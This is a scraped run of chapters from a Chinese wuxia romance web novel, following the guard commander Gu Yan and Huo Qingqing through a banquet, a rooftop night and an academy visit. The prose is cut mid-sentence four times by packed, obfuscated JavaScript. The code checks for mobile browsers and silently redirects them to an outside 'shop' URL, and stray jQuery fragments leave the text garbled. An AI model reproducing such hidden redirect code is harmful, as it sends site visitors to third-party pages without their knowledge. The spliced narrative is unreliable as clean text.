“有许多事,我都还无法开口。我怕往后霍姑娘会心存芥蒂。我也不求霍姑娘现在就能将所有的事都告诉我,霍姑娘愿意信我这一次吗?” “我这些时日想了很多,有些事是我太过执着,一直都未曾放下。可这些事情,与霍姑娘无关。” “这里,做不得假。”顾衍覆在她手背上,带着她的手又放在自己心口,星目微垂看着只到自己胸口的霍姑娘:“等我真的放下了会全部告诉霍姑娘,等等我,好吗?” “若是不成……我们……”顾衍犹疑起来,若是不成他们也不会是敌人。 霍青青桃花眼带着微光,笑道:“好啊。” 顾衍一直行在刀尖,稍有不慎便是尸骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976281|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无存。如今他说出这番话,已是不易了。 “霍姑娘,你怕死吗?”顾衍从不避讳生死,锦衣卫也从不怕死,若是霍姑娘说上一句怕,他就会抽身而退,此后不再招惹霍姑娘。他无法放下锦衣卫指挥使这个身份,若是怕……那便不试也好,就此止步。 自他做上锦衣卫时,他就未曾想过会想与另一人相伴走这人世一遭。 “我怕啊。”霍青青笑笑。 顾衍握住她的手骤然收紧。 霍青青抬手拍拍他的脸:“所以,顾大人要好好活着才是。” 她看着顾衍敛去通身煞气,小心翼翼地收了锐利爪牙磨蹭在她手心时。又怎会觉得他们会止步于此? “顾大人啊,世事无常,或许风云变动时,有人会从云端跌入谷底。若是顾大人也不怕死,试试有又何妨?” 只片刻,顾衍就将她抱起来坐在窗边的桌案上,他抽了她束袖的布带微微撩开袖口。 “怎么了?顾大人。”霍青青想抽回手,眼眸微弯看向他。 “我看看。”顾衍强硬地握住,见着那皓腕如初。 “另一只。” 霍青青瑟缩了一下想跳下桌案,她脚一沾地就被顾衍拦回去。无奈之下她扯住顾衍的袖口:“顾大人,他们可是听了好一会儿墙角了。” “让他们听,晚点我收拾他们。”顾衍挑眉,听着外面的人撤走才拉起霍青青另一只手翻来覆去,最后在袖口掩住的地方发现一道刚结痂的口子。 那口子在霍姑娘白皙的手腕上格外醒目。 顾衍的指腹极轻地摩挲在霍青青的手腕上:“刚才怎么都不喊痛的。” 方才他握着她手腕,这霍姑娘也不知道喊声痛。好在他没用太大力道。 霍青青抽回手,摸着伤口笑道:“都一样的。” 说着他倔,其实霍姑娘也倔。两个人这下凑一起,那就一起倔。只是他觉得霍姑娘可以不那么倔的。 “你可以喊痛的。” 顾衍将她抱坐在椅子上,蹲下来拉过她的手。霍姑娘本就纤瘦,她的手腕也细,如今那伤口一道横亘过去,瞧着碍眼极了。 “我是个武将,不知轻重的。你顶着这么道口子让我拉着,再用力些这口子要是崩了血,什么时候才能好?”顾衍叹了一口气,拉下霍青青的袖口,抬眼问她:“遮着干什么?” 霍青青垂眼看他,攥了下衣摆:“防你们啊。” 受点伤没什么大不了的,但自从她那日背上留下刀口之后,锦屏他们说什么都不再让她轻易涉险。受了伤要是给他们瞧见,又该被数落一通了。 如今还得算上顾衍。 顾衍看着眼神躲闪的霍姑娘,心里叹了声:算了。 以后他照看好她就好了。 “那我给你瞒着,你只跟我说好不好?”顾衍退了一步,下一步就不能退了,他怕精明的霍姑娘得寸进尺。 霍青青没答话,伸手推开他,提着东西推门出去,她站在门口道了句:“顾大人好好养伤,三日后便启程回玉楼春了。” …… 顾衍向来恢复得快,歇了这三日,也睡了三日。本想纵马,却被霍青青拉回来强硬地塞进马车里。 马车着实慢些,但顾衍觉着日子过得好。 霍青青怕他伤口崩开,在马车里安置上新买的软榻,摆上一方小几。呆得无聊了,就搬一盘棋跟他对弈。 顾衍被伍行骂臭棋篓子骂了一路,顾衍毫不在意,输了就输了,赢不了就是赢不了。伍行骂到后面都觉得自己骂不动这个人了。 棋都输了还笑呢?还笑得灿烂着。 他真是……开了眼了。 坐马车回玉楼春耗费了许多时间,灵玄子将留青山脉周边都清理了一番后不辞而别,临走前告知顾衍边关已安。 这边玉楼春已歇业三月,重开时倒迎来不少熟客,兰浔又忙起来。霍青青依言差人去自己名下布庄给兰浔置办了二十副崭新的紫绫。因着兰浔所用的紫绫较为特殊,少说也得再等两月才能做完送来。 顾衍打着养伤的旗号给明顺帝传了信,说是围剿长生教受了重伤,要在青州再修养一月。 他打的什么算盘,兰浔知道得一清二楚,只可怜伍行,被他差使着亲自去给明顺帝送上八百里加急,里面放着这次青州学宫案和长生教的卷宗。只等送至大理寺入案记录。 39.忽逢春 今日在玉楼春摆宴,以柳三爷和莫天俞为首的各路人马齐聚。 林豫被自家爷爷拉着同青州学宫众人坐一桌,少不得往霍青青他们那边瞟。 围剿长生教时他与陈之齐和林映在留青山外带着官兵守阵,以保没有百姓误入留青山。 听说围剿长生教时,江湖人称小天魁的莫天俞双鞭威武,一人就胜了一个长生教使灵蛇鞭的长老。这个点,他正坐在柳三爷那一桌同他们喝酒。那一桌子,哪个都是江湖上叫得上名号的,柳三爷也跟兰浔共战月长老。他曾见过兰浔那副紫绫,出时如电,翩若惊鸿。 还听着人说,他那青青妹妹他们都要称一声霍楼主,更未曾想青青妹妹竟用的是破甲锥。这般利刃,连普通武官家里都甚少见到用的,多是在南羌战场之上才会用到。用来破南羌铁骑重甲,可就算是南羌战场之上,也多以辅助居多,鲜少有人主修破甲锥。 之后就是锦衣卫指挥使顾衍,最后一人战陨长老不落下风。 他们或许才能称一句当世英豪。 自己跟他们比起来……如今十八岁了碌碌无为,在学宫之中不上不下。青骑将领霍清风和锋锐骑将领雁将离他们,在十八岁的年纪已是战功赫赫。 林豫迷茫起来,自己文不成武不就进不去朝堂上不得战场,那他这一生又该如何走? 正想着,却被一旁的林映拍了肩:“陈之齐跟我说你想去锋锐骑?” “爷、爷爷。”林豫硬着头皮点点头:“是,想去战场磨练。” “怎么不同我说?” 林豫抬起头,惊愕地看着自家爷爷。 林映抬起手,林豫闭眼等着挨打。 未曾想,爷爷的手只轻轻落在他头上,接着他就听到爷爷说:“我们家世代文人,如今虽不在朝堂,但名望仍在,可以为你铺路。我本不想让你走得艰难。” 林映叹了一口气,笑道:“你爹倒是乖巧,继承我林家文人之风,奈何更愿做闲云野鹤,我不也没逼他吗?” 林豫想起来,自己那个不靠谱的爹娘,在他六岁时就把他扔给爷爷,然后去游山玩水。 加之林家都是独苗,是矣如今无人在朝堂。 “我让你读四书五经你打小就耍滑头,你聪明得很,奈何都用在怎么不让我检查课业上了。别以为我不知道,你小时候总喜欢往陈之齐家里躲,还真以为我找不到你呢?” “小兔崽子。” 林映哼了声,看着自家孙子呆住的模样喝了一口酒:“要不是我放水,你真以为能跟着陈之齐习武啊?你以为光靠陈之齐的面子就能请动早就归隐山林的余教头来教你?也不看看你爷爷我是谁。” “那这么说,爷爷、你……” 林豫神情恍惚,是啊,自家爷爷可是做过内阁大学士的,没道理那么好骗啊。 “你不是也给青青那丫头说了?”林映给自己孙子也满上一杯酒,顿在他面前:“青青同我说,她早去信白沙关告知雁将离。只是,你得等着到时先随青青回京,而后跟着大煜之中新入营的兵士一同前去。她去信告知雁将离,只是告知他好生练你,你以为她会给你开后门?” “孙子也没想让青青开后门……这不是怕您老人家不同意嘛……”林豫端起酒扭过头去,有点不好意思。 “喝了这杯酒,就当我提前给你践行了。”林映给自己也满上一杯,随后将酒壶放在陈之齐面前。 陈之齐倒上酒端起来跟他们爷孙俩一碰:“林豫,战场不是闹着玩儿的,你一定要好好护好自己。你爷爷面皮薄,这些话我就替他说了。总之,有青青照看你,我放心,只是你自己也要当心。” 说着他就被林映踹了一脚,陈之齐顺势一转身躲开。 “行了,话说完了。去去去,去他们小孩儿那桌坐去,别挡着我们喝酒。”林映把林豫往一边赶,林豫走了几步又转回来。 他突然跪在林映面前,磕了一个头:“孙儿多谢爷爷。” 说完逃也似的爬起来,去了霍青青那边。 林映端着酒盏的手颤了颤,然后一口饮尽。 陈之齐拍拍他的肩:“这小子,终于长大了。” 林映摇摇头:“他啊,还有好长的路要走。” 但是林豫也该长大了,在不在林家荫庇的地方成长,他十八岁,正是年少轻狂该意气风发的时候。 “这天下,该是他们年轻人的了。老林,你我都老了啊。” “放屁,你才老了!”林映一激灵,就端起酒跟陈之齐喝起来:“来来来,今日不醉不归啊,谁先醉谁明天去学宫处理那些堆着的考卷啊。” 陈之齐一顿:“来就来,我怕你不成?早些你就喝不过我,如今老了还是喝不过!” …… 这边顾衍欲言又止。 他和伍行被一堆人隔开,他被隔到坐到霍姑娘斜对面去了。 霍姑娘左手边的兰浔正在跟霍姑娘掰扯,死活不让霍姑娘再喝。 “阿浔——”霍姑娘扯着她的袖子:“再一杯,一杯行不行?” “你问霍十一和锦屏行不行,他们同意我就让你接着喝。”兰浔把酒壶拎开,坚决不让霍青青再倒。 霍十一不动声色地拿走了霍青青的酒杯,锦屏不动声色地端开了其他的空酒杯。 霍青青可怜极了,拽兰浔的袖子拽不动,两个自家人也不让她接着喝。只能转头看向斜对面的顾衍。 顾衍被这一眼看得手一抖,微凉的酒水就落了几点在手背上。 一旁的伍行前来顺手取走了顾衍的酒盏换成了一杯果酿:“顾大人也别看热闹了,霍姑娘让我把你看着别喝酒。” 顾衍也无可奈何地举了自己手里的果酿示意。 觥筹交错间,霍青青似是听见他说:“晚点。” 好嘛……霍青青松开兰浔的袖子坐回自己椅子上喝汤。 眼见着大家都吃得差不多,有人喝多了就跃上高台。莫天俞白衣磊落,衣袂飘飘飞跃上台,柳三爷不遑多让,也一跃而起扛着大刀落在台上。 两人你来我往,霎时惊起兵戈之声,引来一阵叫好。 这一打就走了几十招,莫天俞提着一小坛子酒抓着坛子口一饮而尽:“不打了!今日大家伙儿就看看哈哈哈!我下去拿酒去了,柳三爷大刀不减当年啊!” “说这些,小天魁,你这双鞭可比你爹厉害。走走走,我们今日也喝个不醉不归!霍楼主,我老柳就不跟你客气了。” “三爷哪里的话,别客气啊,尽管喝!喝不够我让阿浔去把酒窖搬空。”霍青青朝着柳三爷提气高喊。 “好好好!”柳三爷大笑着跳下高台跟莫天俞那几人一边喝酒去了。 陆续又有人上台,也都赚得一片叫好。 寻春也喝得微醺,抱着琴跟楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985814|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里人合奏了一曲生春。生春带着勃勃生机,是兰浔前些日子新谱的曲子,楼里人也才刚上手没多久。 青红相间的纱帐之间,忽然多出一道玄青身影,他束着马尾,跟衣衫颜色相配的发带飘飘荡荡垂至腰间。没有莫天俞那翻飞的衣袂,也没有柳三爷那么高高壮壮的体格。 他抱着玄黑镶金的绣春刀轻巧地落在高台之上。 “今日都看了这么些英雄豪杰了,再多看一个我,如何?” 玉楼春里寂静下来,是朝廷的锦衣卫指挥使顾衍。 他站在高台之上,星目里落了灯火。 他们二人这般,在情理之中又在意料之外。 早先顾衍带着他们去围剿长生教据点时,无时无刻都将霍楼主挂在嘴边。明眼人都看得到。后来在据点之中,他们二人虽在角落,但依旧引人注目。江湖本不涉朝堂,奈何霍楼主生在高门。 但霍楼主为人坦荡,从前行走江湖时豪情万丈。是矣,她以身为饵,铲除长生教,才会得这么多人相助。在这里坐着的,有几人没同她喝过酒做过生意? 霍楼主有钱,常常收留些无家可归的乞儿,又有多少人得她相助才得以继续活在这人世间? 如今瞧着,这大名鼎鼎的忘恩负义顾狗贼似是对霍楼主动了点心思。 人人都说顾衍是朝廷的走狗,可如今明顺帝爱民如子,是民心所向。若是刀斩叛臣,这又谈何忘恩负义?不过是大义灭亲而已。 家与国,他以国当先,大义灭亲也当视为忠君。 如今他站在高台之上,愿意将这份真心拿出来给霍楼主,已是十分不易。那便只看霍楼主作何想了。 霍青青端着一杯果酿,一手撑着头看着他笑道:“好啊,顾大人。” 得了这一句,顾衍才动起来。 他反手抽刀,踏着刚劲有力的步子在高台之上舞出道道银弧。刀势刚猛刀刃急掠,一时间打出数道刀锋让人眼花缭乱。黑发被风带起,发带飘扬着,最后他飞身而下落在霍青青面前收刀入鞘。 “如何?”他挡住许多人的目光,只站在霍姑娘面前,看着霍姑娘慢慢饮完一杯香甜果酿。 “很喜欢。” 兰浔离远了些。 伍行觉得牙酸。 霍十一和锦屏挪开了一点,给他们腾出空位。 莫天俞嘶了一声。 柳三爷打着哈哈跟别人碰碰酒碗继续喝酒去了。 很快又热闹起来。 霍青青拉了顾衍的手臂低声笑道:“顾大人,他们说你酸。” “是他们酸。”顾衍终于坐到她身边,提起兰浔忘带走的酒壶就给霍姑娘倒上一杯:“医老说你可以少喝点,五杯以内就好。” 他给自己也倒上一杯,端起来碰碰霍姑娘手中的,然后一饮而尽:“我也少喝,你说的。” 霍青青终于喝到了第二杯千金酿,她脸微微浮起一抹红,笑看着顾衍:“顾大人真好。” “是啊,顾大人好着呢。”顾衍靠近了点,另一只手握住霍青青放在酒盏上的手:“霍姑娘,你的生辰,是不是过了?” 霍青青一怔,她都忘记了,三月前着急来青州,明顺帝提前了一月办生辰宴。自己十八岁生辰,应当是两月前了。 她反握住顾衍的手,看看四周醉得五花八门的人,微微倾身凑到顾衍耳畔:“顾大人当真是极好的。” 40.月色之下 夜了,有人踏在玉楼春屋顶上,随后霍青青卧房的窗户被叩响。 霍青青穿着单薄的衣服起身推开窗,看着从上面放下来的一张青色纸笺,上面写着:霍姑娘,喝酒? 这人真是…… 霍青青随手取了一支笔,在纸笺上回了句:好啊。 她拉了一下纸笺上面绑着的细绳,很快纸笺就被收了回去。 顾衍利落地从窗户外探出半个身子,然后翻进来。 “顾大人经常干这事?”霍青青见着他一袭利落黑衣提着一坛酒站在她面前。 好些日子没见他穿飞鱼服,还有些想念了,但顾大人身姿挺拔,穿着束袖也别有一番滋味儿。 “这点衣服出去,会冷。” 顾衍轻轻握住霍姑娘的手,微凉。想来是给他开窗吹了这一会子的风。下次还是白日吧,这夜里把霍姑娘折腾起来,不好。 他这般想着,看着霍姑娘挽着松松的髻斜插了一根木簪子,一头青丝半挽半落,留出一束发在身前。 “多穿一件,外面冷。” “走罢,顾大人。”霍青青随手取了一件青色的外袍穿上,往腰间系了一根天青丝绦垂着一个青玉压襟。 顾衍握住霍姑娘的手往自己怀里一带,手臂松松地环在她腰间,在她耳畔笑了句:“抱稳。” 月色之下,他搂着一身青白衣衫的霍姑娘踏在屋顶疾行。 有夜风拂过来,带着凉意。 霍青青往他怀里又靠了靠。 接着就觉着顾衍慢了些,低声问她:“冷了?” 还未等她答话,顾衍便接着道:“抱紧些,快到了。” 也不知行了多远,顾衍将她放下来时已经是一处斑驳的塔顶上。这里可以俯瞰整个青州城。 “医老给了我药酒的方子,要是想多喝一点,等回京我给你酿点。”顾衍说着,倒出一碗酒:“不过,这千金酿你今夜就只能喝这一小碗了。” 果然是千金酿啊…… 霍青青端起来尝了一口,还是兰浔埋了好几年的千金酿。 “若是阿浔明日发现了,顾大人怕是第一个被她骂。” “哪里的话?我可是找她买的。”顾衍喝了一口,看着高悬的明月。 今岁时日过得快,一转眼就快至中秋,月亮越发圆了。京都之中这个时候,恐怕已经早早的开始筹备。只是他往年不大过这些,年年都呆在南北镇抚司里,今岁倒不同了,出来办事还没能回去,又多了个霍姑娘。 霍青青笑道:“说起买卖……顾大人,我是不是还欠你些银两?” “是啊,霍姑娘的字据我可是收得好好的,就等霍姑娘回京都给我兑现了。”顾衍又靠近了些,两人不过一掌的距离。他看着碗里倒映的明月,那些银钱,欠着便欠着吧。 霍青青觉得有些困倦,塔顶又凉,便也朝着顾衍挪了挪。 骤然靠近的霍姑娘,温温软软的靠在他身侧,将头枕在他肩上。顾衍身子微僵,抬起手又放下,最后还是抬手搂住她的肩,让她靠得舒服些。 “是不是还冷?不若我们回去?”顾衍突然觉得自己走时该取一件厚实点的披风的。 “怎么来了就回去啊?”霍青青笑话他,随后打了个哈欠蹭进他怀里:“我只是困了。顾大人是想在这里看看日出?” “霍姑娘若是困了,就先睡罢。我到时叫你。” 被她说中了,顾衍只觉得自己耳垂发烫,一双手僵硬着又不知道放哪里。 “那……顾大人跟我说句好眠罢。”霍青青伸手轻轻攥了一下他的衣襟,将他的衣襟拉得微微敞开。 顾衍轻笑了声,低下头在她耳畔道:“霍姑娘,祝好眠。” 霍青青勾唇笑了,靠在他胸口。 顾衍听着怀里的霍姑娘也笑了声,然后跟他说:“顾大人真好啊。” 夜里是还带着三分寒意,顾衍顿觉自己该考虑得更多些的,霍姑娘身子本来也不好,不该带她来这么凉的地方,还一时忘记带披风。 若是后面生了病,霍姑娘又不爱喝药。 顾衍眼下只想敲开自己的头看看里面装的什么。 什么足智多谋顾大人,结果连这些都没想到。 真是脑子被狗吃了。 顾衍如是想着,听着霍姑娘的呼吸轻且稳才大着胆子把霍姑娘抱得更紧些。 今夜月色很好,他借着月光端详着霍姑娘,他已经两个多月都没见到霍姑娘了。那日墓穴里,霍姑娘一袭红衣就那样落下来,笃定了他能接住她。这姑娘胆子真的太大,若是他一个犹豫,或是接不住她那怎么办? 他的霍姑娘,似乎总藏着很多事,背负着太多他不知道的事。 可霍姑娘还不愿说,他也不愿强迫霍姑娘说什么。 顾衍把霍姑娘抱着,抬手触在她脸上,带着薄茧的指腹极轻地抹过她脸颊。 霍姑娘笑起来,这里有个梨涡。 这么久了,霍姑娘又瘦了许多,手腕上那道伤口还扎眼得很。 顾衍看着霍姑娘睡沉,轻轻握住她的手带到唇畔,轻柔的吻在她手腕的伤口上,如蝶停留,又极快离去。 他一个人看着月亮,看月亮看得无趣了就看着自己怀里的霍姑娘。霍姑娘比月亮好看啊。 …… 这一夜霍青青睡得很好,也未觉得冷。等她被顾衍叫醒时,已是蒙蒙亮了。 这里能看到一轮红日初升,慢慢照亮一方天地。青州本就是风流之地,水榭楼台此刻都被笼罩在一层薄光里泛出斑驳光影。 霍青青动弹了一下身子,才想起来,昨日里睡着觉得暖和,就不住地往热源靠。眼下被顾衍牢牢护在怀里,难怪昨日夜里睡得这般安稳。 “别动。”顾衍微哑的声音在她耳畔响起,温热的呼吸掠过她的耳垂。 “霍姑娘,就这样看。” 霍青青乖巧地坐在他怀里没有再动弹。许久过去,等到日阳高挂,她才在顾衍怀里转过身来。 她按上顾衍的肩,一双桃花眼里盛满笑意,居高临下地看着被她按下的顾衍。 “顾大人是真君子啊。” 霍青青笑叹了一句,可是她似乎没这么君子。遂她以迅雷不及掩耳之势在顾衍脸侧落下一个轻飘飘的吻,然后纵身从塔顶攀跃下去。 天光之下,顾衍愣愣的杵在塔顶,他抬手触上被霍姑娘落了个吻的地方,耳垂又开始烫起来。 这姑娘真是…… 顾衍失笑。 他看着霍姑娘灵巧地落在地面,他才飞身追上去。 他跟在霍姑娘身后,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003547|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后几步追上去跟霍姑娘并肩而行。两人走在郊外的路上,衣袍上沾染了晨露。 顾衍伸手挡开前面横下来的枝丫,笑着道了句:“胆子也太大了,霍姑娘。” 霍青青负着手走在前面,闻言停下来转身看着顾衍:“可是顾大人是君子啊。” 她轻轻揉了揉手腕间的伤,总觉得昨夜里顾大人那个轻浅的吻尤在。 她这不是……一报还一报吗? 顾大人在害羞的时候就不太像顾大人了,像是个情窦初开的少年郎,被稍一撩拨就变得迟钝了。 顾衍忽然握住她的手,把她往自己怀里一拉:“霍姑娘,谁跟你说我是君子的?” 他哪里会是什么君子,只望霍姑娘到时候不要太失望才是。 郊外的山林里,只余下鸟雀啾鸣,霍青青握住他落在自己腰间的手,抹过他还未好完的手背,慢慢道:“我说的。” 顾衍心底叹了句:算了。 君子就君子吧。 “其实我昨日,不该由着顾大人喝这么多酒。”霍青青垂下眼睫看着他手上的伤,想起他背后才养了没几天的伤口。 “千金酿太烈,顾大人也不该喝这么多。” “行,那听霍姑娘的,不喝了。”顾衍放开她,把她的手牵着往前走。 等他们回了城中,街上已摆出许多摊子。 奈何昨日里两人都没带上银子,只得先回一趟玉楼春。 两人刚到门口,就见着兰浔一袭紫衣抱臂靠在玉楼春门口的柱子上看过来。 “哟,两位还舍得回来啊?” 昨日一堆人都喝了酒,夜里睡得沉没留神他俩,结果今日晨时找他俩没找着。他们一合计就觉得这俩定然是在一起。 “顾大人先回去休息吧,我晚些再找顾大人。” 顾衍睨了兰浔一眼,转来对霍姑娘笑道:“好,我等你。” 兰浔觉得大清早的莫名牙酸,跟连吃好几个青桔子一样酸。 如今想来伍行之前说他家顾大人喜欢霍姑娘是真的喜欢。否则也不会夜会霍姑娘,还趁她醉说买她千金酿,然后带走一坛子三年多的。 “小青儿你可长点心吧,前些日子你被掳走,又逢边关动乱,你师父他老人家可是跟那边说了八百遍让他们拦住你被掳走的消息。如今也是那边事了,我就整理了这一摞他们传来的战报给你看看。”兰浔说着递给霍青青一封厚实的信,信上所写是前些日子边关战报。 只看了这一眼,霍青青就蹙了眉头:“南羌北蛮怎会同时起兵?” 这不应该啊。 霍清风所领青骑守的是北边关山,防的是关外北蛮。而将离领锋锐骑驻军白沙关,守关退南羌。 这南羌和北蛮,一无关联二一个在北一个在南,又怎会这么巧合同时起兵? “谁知道呢?或许是这俩又疯了,你可得把雁将离看好,我都怕他哪天一个冲动直接带着锋锐骑杀出白沙关。” 兰浔说时还不忘看一眼顾衍的背影,还好小青儿把他支走了,否则,这话他要是听去一准得发点疯。 他们这一个两个的,也都不是什么良善之辈。 霍青青收好这一摞战报就跟兰浔说了声回屋了。 这些,她还得好好看看,太过巧合了,有些蹊跷。 41.顾大人,你别怕 陈之齐非说临中秋了,学宫里热闹,学子都在筹备拜月宴,就给霍青青腾出一间夫子的院子拉着霍青青说晚些让她授课去。 “陈爷爷,我可是跟你学宫的学子差不多大。”霍青青无奈之下拿着一本书又放下,又实在是拗不过陈之齐。 “那你把顾衍拉来。”陈之齐折扇一收,这话音刚落就看到顾衍从远处走过来。 他可是听说了,顾衍近来跟青青走得近,两个人看着似是…… “陈老找我何事?”顾衍在霍青青身前站定,拿了手里的薄披风给青青搭上:“锦屏说你这几日穿得单薄。都入秋了,多穿些。” 说着,顾衍放下另一只手提着的热茶给霍青青倒上一盏。 陈之齐也觉得牙酸了那么一下,他没好气地开口道:“顾大人,我的呢?” “叫锦屏取一套茶盏来。”霍青青无奈得很。 等着锦屏取来一套碧玉茶盏,亲自给陈老倒上一盏上好的雪芽:“这雪芽是今年新采的,挑了头茬,陈老试试。” “还是自家丫头好啊,不像有的人。”陈之齐接过来,拿眼看着一边给青青取糕点的顾衍。 顾衍不为所动,从食柜里取出一碟桂花糕,然后又挑了一碟马蹄糕放到霍姑娘手边。 “陈爷爷,不如这般,我与顾衍再去一趟学宫之中。你看着给我俩荐几个学子看看。如今离明年四月的宫试也不远,若是文武不能兼并,我们便分开挑。顾衍那边锦衣卫也该招新了,我这边……我爹缺个门生。” 霍青青摩挲着手中的茶盏。青州学宫之中的学子虽说都是好苗子,但朝堂也不是这么轻易就能进的。有的人纵然在学宫里拔尖,却不一定适合朝堂。 朝堂可是吃人的地方啊…… 更何况还是如今这种局面。 陈之齐知晓她的顾虑,但学宫之中的学子谁不是想搏一个出路?朝堂纵然波澜诡谲,但仍有无数人削尖了头都要进。学宫里边这些学子,也都早有准备。 文人风雅,武生傲骨。许多人都在这个天地间孑孓独行。 有数不清的人舍命都挣不到一个出路。 如今青青和顾衍,愿意给那些不拔尖的学子一个出路,就是极好的。 陈之齐看着这两人,恍然觉得自己跟林映是真的老了,该去游山玩水安享晚年了。 有霍青青这么句话,陈之齐哪里有不同意的,当即就给霍青青叫来马车,往青州学宫。 霍青青的马车本就张扬,八宝雕花刻云镂月,如今这一行也不再遮掩。 等马车行至留青山脚下,顾衍先下了马车,站在车下朝着霍青青伸出手:“霍姑娘,可要借力?” 霍青青笑了声,看着顾衍的手,抬手将自己的手放在他掌心:“那就有劳顾大人了。” 山间没有嘈杂人声,顾衍想起青柳庄时霍姑娘只在他手心里蜻蜓点水一般拍了一下。 他的手微微收紧,将霍姑娘从马车上带下来,随后把霍姑娘放上破月的背,自己才翻上来在她身后护住。 破月行得快,顾衍在霍姑娘耳边笑:“它忙着回去找飞雪。霍姑娘,你多担待点。” 霍青青自是知晓这两匹马最近黏黏糊糊的,顾衍今日一早把破月牵来拉马车,破月还不理他。 疾风骤雨跟它们呆得好,它们喜欢落在飞雪的马鞍上你来我往地啄来啄去。 等到了学宫门口,顾衍先下了马,站底下把霍姑娘接下来。 霍青青不由有些无奈,给破月喂了一根胡萝卜看着它自行下山才转过身来跟顾衍道:“顾大人不用这般照顾我的。” 顾衍静默下去,看着霍青青的眼里带上点茫然,很快就握了霍青青的手微低下头。 “我不知道怎么算将人照顾好。”他声音低低的,将额头抵在霍姑娘的眉心:“我没照顾过人,只知道冷了多穿衣饿了多吃饭。我自小养得糙,但是霍姑娘不一样。我是觉着霍姑娘太瘦了,医老也说霍姑娘今岁身子骨不大好。若是霍姑娘没有胖回去,霍大人恐怕要找我麻烦的。” “要是有哪里不对,霍姑娘就跟我说,我改改就好了。” 顾衍磨磨蹭蹭的,闭目在霍青青额头试探着落下个吻。 “我也说了,我是武将。有时候不知轻重的,霍姑娘这样养着的,我也怕照顾不好。” 霍青青无奈地叹了一口气,她总觉得顾大人变得患得患失,也不知是不是自己的原因。 她抬手勾住顾衍的脖子微微往下拉一点,然后在顾衍愣神的时候,吻在他唇角。 看着顾衍飞速变红的耳垂,霍青青在他身前闷笑了声才抬头道:“顾大人不必这般畏手畏脚。我也并非全然手无缚鸡之力。只是今岁确是身子不大好,但也不是纸糊的。” “说是这么说,可是我……” 顾衍被霍姑娘一下捂住嘴,温热的掌心落在他唇上,他只得星目带笑看着霍姑娘。 “顾大人不许说了。”霍青青欺身而上,自己的吻落在手背。 顾衍热血上涌,他甫一抬手,就听着一旁传来咳嗽声。 一连串咳嗽,咳得肺都要出来了。 霍青青松开顾衍,看着突然出现的陈之齐叫了一句:“陈爷爷。” 陈之齐缓过劲儿来,看着她低声道:“青青啊,你们要是到了学宫,记得收敛一点。” 说着,陈之齐神色复杂地看着青青:“被学子看到了不好。” 青青自小就没拘着,如今顾衍也是那般不守规矩的人,这俩凑到一块儿他也没多大意外。只是学宫毕竟学子众多,讲究一个表面功夫得过得去,这般真让人看见了还了得? 霍青青点点头笑道:“知道了,陈爷爷。” 陈之齐在前面带路,突然神使鬼差一转头,就瞧见顾衍在揉着青青的手。 得,光跟青青说了,忘记跟顾衍说了。 看着陈之齐气得吹胡子瞪眼,刚把他俩送到院子就拂袖走了。霍青青不由看了身边的顾衍一眼:“你就气陈爷爷吧。” “我可不敢。”顾衍笑着道,末了又说榻上的褥子不够厚,自己去抱一床新的过来。 霍青青看着他的背影,指尖拨弄着手腕上的玉镯,听着玉石碰撞的悦耳声响,靠在窗边昏昏欲睡。 突然晃过的影子让她觉得诡异,后看着天地之间,有人玄甲长枪一枪将人扎了个对穿。枪尖从人的身体里贯出来,淌着鲜血。她看着雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022077|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将离朝她走过来挡在她身前,自玄甲的缝隙里淌出扎眼的鲜血。 她觉得不安,又触不到雁将离。 遂开始挣扎起来。 “霍姑娘。” 有人在叫她,轻轻按住她的肩,然后拥到自己怀里,一点点安抚着。 霍青青睁开眼,死死地攥住他的衣襟,心中恐惧未去,桃花眼里带出一点红看着他:“顾衍。” “没事了。我在。”顾衍听着霍姑娘微微颤抖的声音,心里一紧。 顾衍坐在榻上把她抱在怀里,下巴抵在她颈窝,他试探着问道:“是不是又梦魇了?” 屋子里安静下去,只余二人的呼吸声,霍青青攥着他的衣襟低着头,然后猛地抱住他的腰,把脸埋在他胸口。 “我又梦到将离了。” 